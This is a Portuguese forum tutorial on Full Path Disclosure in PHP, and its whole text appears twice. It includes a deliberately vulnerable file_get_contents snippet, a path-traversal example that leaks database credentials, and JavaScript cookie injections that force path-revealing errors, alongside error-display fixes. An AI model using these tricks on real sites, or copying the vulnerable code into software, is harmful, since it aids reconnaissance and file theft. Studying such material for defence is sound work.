Sabe aquele erro que simplesmente você acha por todo lugar ?
Esse mesmo > Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
Pode ser uma falha letal se explorada com atenção.
Descrição:
Full Path Disclosure (FPD) vulnerabilidades permite que o invasor veja o caminho para o webroot / arquivo. por exemplo: / home / omg / htdocs / arquivo
/. Certas vulnerabilidades, como o uso do load_file () (dentro de um SQL Injection) a consulta para ver o código fonte da página, exigem que o atacante
tem o caminho completo para o arquivo que deseja ver.
Fatores de Risco:
Os riscos relativos à FPD pode produzir resultados diferentes. Por exemplo, se o webroot está sendo vazado, os atacantes podem abusar do
conhecimento e usá-lo em combinação com vulnerabilidades de File Inclusion para roubar arquivos de configuração em relação à aplicação web ou o
resto do sistema operacional.
__________________________________________________ __________________________________________________ __________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
__________________________________________________ __________________________________________________ __________
Em combinação com, digamos, uso desprotegido dos file_get_contents função PHP, o atacante tem a oportunidade de roubar arquivos de configuração.
O código fonte do index.php:
_________________________________________________
<?php
echo file_get_contents(getcwd().$_GET[‘page’]);
?>
_________________________________________________
O atacante pode criar uma URL assim: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... / config.php com o
conhecimento da FPD, em combinação com Relative Path Traversal.
O código fonte que vazou de config.php:
__________________________________________________ _______________________________
<?php
//Hidden configuration file containing database credentials.
$hostname = ‘localhost’;
$username = ‘root’;
$password = ‘guiadohacker_fpd’;
$database = ‘example_site’;
$connector = mysql_connect($hostname, $username, $password);
mysql_select_db($database, $connector);
?>
__________________________________________________ ________________________________
Desprezando o exemplo acima, FPD também pode ser utilizada para revelar o sistema de operação usado observando-se os caminhos de arquivo. O
Windows, por exemplo sempre começa com uma letra de unidade, por exemplo, C:, enquanto Unix sistema operacional baseado tendem a começar com
uma barra frente única.
UNIX:
__________________________________________________ __________________________________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/alice/public_html/includes/functions.php on line 2
__________________________________________________ __________________________________
Windows:
__________________________________________________ __________________________________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in C:\Users\bob\public_html\includes\functions.php on line 2
__________________________________________________ __________________________________
O FPD pode revelar muito mais o que as pessoas normalmente poderia suspeitar. Os dois exemplos acima revelam nomes de usuários nos sistemas
operacionais, bem, “Alice" e “Bob". Nomes de usuários são naturalmente peças importantes de credenciais. Os atacantes podem usar aqueles de muitas
maneiras diferentes, que vão todos de bruteforcing sobre vários protocolos (SSH, Telnet, RDP, FTP …)
Exemplos:
se temos um site que usa um método de solicitar uma página como esta:
______________________________________
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
______________________________________
Podemos usar processos de abertura e fechamento de chaves que faz com que a página para a saída de um erro. Este método seria algo como isto:
______________________________________
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...[]=about
______________________________________
Isso faria a página retornar um erro mais ou menos assim:
__________________________________________________ __________________________________________________ _________
Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84
Warning: pg_num_rows(): supplied argument … in /usr/home/example/html/pie/index.php on line 131
__________________________________________________ __________________________________________________ _________
Cookie de sessão nula:
Outro método popular e muito confiável de produzir erros contendo um FPD é dar a página de uma sessão nula usando injeções de JavaScript. Uma
simples injeção usando este método seria algo assim:
_____________________________________________
javascript:void(document.cookie="PHPSESSID=");
_____________________________________________
Simplesmente definindo o cookie PHPSESSID a nada (nulo) teremos um erro.
__________________________________________________ _____________________________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
__________________________________________________ _____________________________
Esta vulnerabilidade é evitada simplesmente por transformar seu código para que não retorne esses erros.
____________________________
error_reporting(0);
____________________________
Erros podem conter informações úteis para o proprietário do site para que em vez de desativar o relatório de erros em tudo, é possível apenas esconder
erros de saída por display_errors.
Cookie de sessão inválido
Como um complemento para o cookie de sessão nulo, uma sessão muito longa também pode produzir um erro contendo FPD. Isto também pode ser
conseguido utilizando uma injecção JavaScript da seguinte forma:
__________________________________________________ __________________________________________________ __________
javascript:void
(document.cookie=’PHPSESSID=AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’ );
__________________________________________________ __________________________________________________ __________
Simplesmente definindo o cookie PHPSESSID de 129 bytes ou mais, PHP pode retornar um aviso.
Outra abordagem seria a de definir os dados do cookie PHPSESSID a um dos bytes reservados.
__________________________________________________ ___________________
javascript:void(document.cookie=’PHPSESSID=.’);
__________________________________________________ ___________________
Ambas as variantes resultam no seguinte erro:
__________________________________________________ ___________________________________
Warning: session_start(): The session id is too long or contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
__________________________________________________ ___________________________________
a solução do cookie de sessão nula pode ser aplicado aqui. Erros podem ser escondidos a saída por display_errors.
Acesso direto a arquivos que requer arquivos de biblioteca pré-carregados
Desenvolvedores de aplicativos web às vezes não conseguem adicionar verificações de segurança em arquivos que exige pré-carregados
bibliotecas/função arquivos. Este é propenso a revelar informações sensíveis possível quando os URLs das aplicações são diretamente solicitados. Às
vezes, é um indício da vulnerabilidade (Local File Inclusion).
__________________________________________________ __________________________________________________ __________
<br />
<b>Fatal error</b>: Class ‘SpellChecker’ not found in
<b>/home/victim/public_html/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.php</b> on line <b>9</b><br
/>
__________________________________________________ __________________________________________________ __________
Ferramenta
As três verificações acima podem ser feitas com o auxílio da ferramenta inspathx.
Esse mesmo > Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
Pode ser uma falha letal se explorada com atenção.
Descrição:
Full Path Disclosure (FPD) vulnerabilidades permite que o invasor veja o caminho para o webroot / arquivo. por exemplo: / home / omg / htdocs / arquivo
/. Certas vulnerabilidades, como o uso do load_file () (dentro de um SQL Injection) a consulta para ver o código fonte da página, exigem que o atacante
tem o caminho completo para o arquivo que deseja ver.
Fatores de Risco:
Os riscos relativos à FPD pode produzir resultados diferentes. Por exemplo, se o webroot está sendo vazado, os atacantes podem abusar do
conhecimento e usá-lo em combinação com vulnerabilidades de File Inclusion para roubar arquivos de configuração em relação à aplicação web ou o
resto do sistema operacional.
__________________________________________________ __________________________________________________ __________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
__________________________________________________ __________________________________________________ __________
Em combinação com, digamos, uso desprotegido dos file_get_contents função PHP, o atacante tem a oportunidade de roubar arquivos de configuração.
O código fonte do index.php:
_________________________________________________
<?php
echo file_get_contents(getcwd().$_GET[‘page’]);
?>
_________________________________________________
O atacante pode criar uma URL assim: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... / config.php com o
conhecimento da FPD, em combinação com Relative Path Traversal.
O código fonte que vazou de config.php:
__________________________________________________ _______________________________
<?php
//Hidden configuration file containing database credentials.
$hostname = ‘localhost’;
$username = ‘root’;
$password = ‘guiadohacker_fpd’;
$database = ‘example_site’;
$connector = mysql_connect($hostname, $username, $password);
mysql_select_db($database, $connector);
?>
__________________________________________________ ________________________________
Desprezando o exemplo acima, FPD também pode ser utilizada para revelar o sistema de operação usado observando-se os caminhos de arquivo. O
Windows, por exemplo sempre começa com uma letra de unidade, por exemplo, C:, enquanto Unix sistema operacional baseado tendem a começar com
uma barra frente única.
UNIX:
__________________________________________________ __________________________________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/alice/public_html/includes/functions.php on line 2
__________________________________________________ __________________________________
Windows:
__________________________________________________ __________________________________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in C:\Users\bob\public_html\includes\functions.php on line 2
__________________________________________________ __________________________________
O FPD pode revelar muito mais o que as pessoas normalmente poderia suspeitar. Os dois exemplos acima revelam nomes de usuários nos sistemas
operacionais, bem, “Alice" e “Bob". Nomes de usuários são naturalmente peças importantes de credenciais. Os atacantes podem usar aqueles de muitas
maneiras diferentes, que vão todos de bruteforcing sobre vários protocolos (SSH, Telnet, RDP, FTP …)
Exemplos:
se temos um site que usa um método de solicitar uma página como esta:
______________________________________
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
______________________________________
Podemos usar processos de abertura e fechamento de chaves que faz com que a página para a saída de um erro. Este método seria algo como isto:
______________________________________
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...[]=about
______________________________________
Isso faria a página retornar um erro mais ou menos assim:
__________________________________________________ __________________________________________________ _________
Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84
Warning: pg_num_rows(): supplied argument … in /usr/home/example/html/pie/index.php on line 131
__________________________________________________ __________________________________________________ _________
Cookie de sessão nula:
Outro método popular e muito confiável de produzir erros contendo um FPD é dar a página de uma sessão nula usando injeções de JavaScript. Uma
simples injeção usando este método seria algo assim:
_____________________________________________
javascript:void(document.cookie="PHPSESSID=");
_____________________________________________
Simplesmente definindo o cookie PHPSESSID a nada (nulo) teremos um erro.
__________________________________________________ _____________________________
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
__________________________________________________ _____________________________
Esta vulnerabilidade é evitada simplesmente por transformar seu código para que não retorne esses erros.
____________________________
error_reporting(0);
____________________________
Erros podem conter informações úteis para o proprietário do site para que em vez de desativar o relatório de erros em tudo, é possível apenas esconder
erros de saída por display_errors.
Cookie de sessão inválido
Como um complemento para o cookie de sessão nulo, uma sessão muito longa também pode produzir um erro contendo FPD. Isto também pode ser
conseguido utilizando uma injecção JavaScript da seguinte forma:
__________________________________________________ __________________________________________________ __________
javascript:void
(document.cookie=’PHPSESSID=AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’ );
__________________________________________________ __________________________________________________ __________
Simplesmente definindo o cookie PHPSESSID de 129 bytes ou mais, PHP pode retornar um aviso.
Outra abordagem seria a de definir os dados do cookie PHPSESSID a um dos bytes reservados.
__________________________________________________ ___________________
javascript:void(document.cookie=’PHPSESSID=.’);
__________________________________________________ ___________________
Ambas as variantes resultam no seguinte erro:
__________________________________________________ ___________________________________
Warning: session_start(): The session id is too long or contains illegal characters,
valid characters are a-z, A-Z, 0-9 and ‘-,’ in /home/example/public_html/includes/functions.php on line 2
__________________________________________________ ___________________________________
a solução do cookie de sessão nula pode ser aplicado aqui. Erros podem ser escondidos a saída por display_errors.
Acesso direto a arquivos que requer arquivos de biblioteca pré-carregados
Desenvolvedores de aplicativos web às vezes não conseguem adicionar verificações de segurança em arquivos que exige pré-carregados
bibliotecas/função arquivos. Este é propenso a revelar informações sensíveis possível quando os URLs das aplicações são diretamente solicitados. Às
vezes, é um indício da vulnerabilidade (Local File Inclusion).
__________________________________________________ __________________________________________________ __________
<br />
<b>Fatal error</b>: Class ‘SpellChecker’ not found in
<b>/home/victim/public_html/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.php</b> on line <b>9</b><br
/>
__________________________________________________ __________________________________________________ __________
Ferramenta
As três verificações acima podem ser feitas com o auxílio da ferramenta inspathx.
Comment